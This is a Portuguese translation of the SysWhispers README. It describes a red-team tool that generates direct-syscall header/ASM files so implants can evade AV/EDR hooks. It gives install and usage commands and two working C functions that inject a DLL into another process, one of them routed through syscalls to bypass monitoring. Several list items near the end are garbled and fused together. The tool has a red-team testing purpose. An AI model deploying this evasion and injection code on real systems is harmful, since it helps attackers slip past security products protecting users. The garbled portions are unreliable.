
Evasão de AV/EDR via chamadas diretas ao sistema.
O SysWhispers ajuda na evasão gerando arquivos de cabeçalho/ASM que implantes podem usar para fazer chamadas diretas ao sistema.
Todas as chamadas de sistema principais são suportadas do Windows XP ao Windows 10 19042 (20H2). Exemplos de arquivos gerados estão disponíveis na pasta example-output/.
Vários produtos de segurança colocam hooks em APIs do modo usuário que permitem redirecionar o fluxo de execução para seus mecanismos e detectar comportamentos suspeitos. As funções em ntdll.dll que fazem as chamadas de sistema consistem em apenas algumas instruções de assembly, então reimplementá-las em seu próprio implante pode contornar a ativação desses hooks de produtos de segurança. Esta técnica foi popularizada por @Cn33liz e seu artigo no blog possui mais detalhes técnicos que valem a leitura.
O SysWhispers oferece aos operadores de red team a capacidade de gerar pares de cabeçalho/ASM para qualquer chamada de sistema na imagem do kernel principal (ntoskrnl.exe) em qualquer versão do Windows a partir do XP. Os cabeçalhos também incluirão as definições de tipo necessárias.
A principal diferença de implementação entre este e o POC do Dumpert é que este não chama RtlGetVersion para consultar a versão do SO, mas faz isso no assembly consultando o PEB diretamente. O benefício é poder chamar uma função que suporta várias versões do Windows em vez de chamar várias funções, cada uma suportando uma versão.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Exportar todas as funções com compatibilidade para todas as versões suportadas do Windows (veja example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Exportar apenas as funções comuns com compatibilidade para Windows 7, 8 e 10.
py .\syswhispers.py --preset common -o syscalls_common
# Exportar NtProtectVirtualMemory e NtWriteVirtualMemory com compatibilidade para todas as versões.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Exportar todas as funções com compatibilidade para Windows 7, 8 e 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Por que chamar o kernel quando você pode sussurrar?
Funções comuns selecionadas.
Completo! Arquivos gravados em:
syscom.asm
syscom.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Importe o cabeçalho gerado.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usar a chave --preset common criará um par de cabeçalho/ASM com as seguintes funções:
win32k.sys) não são suportadas.ModuleNotFoundError no script Python.
pip3 install -r requirements.txt.syscalls.h já tiverem sido definidos.
--preset all raramente é necessário).syscalls.h.Este script foi desenvolvido por @Jackson_T, mas baseia-se no trabalho de muitos outros:
Agradecimento especial a @Dcept905 pelos testes e sugestões.
Este projeto está licenciado sob a Licença Apache 2.0.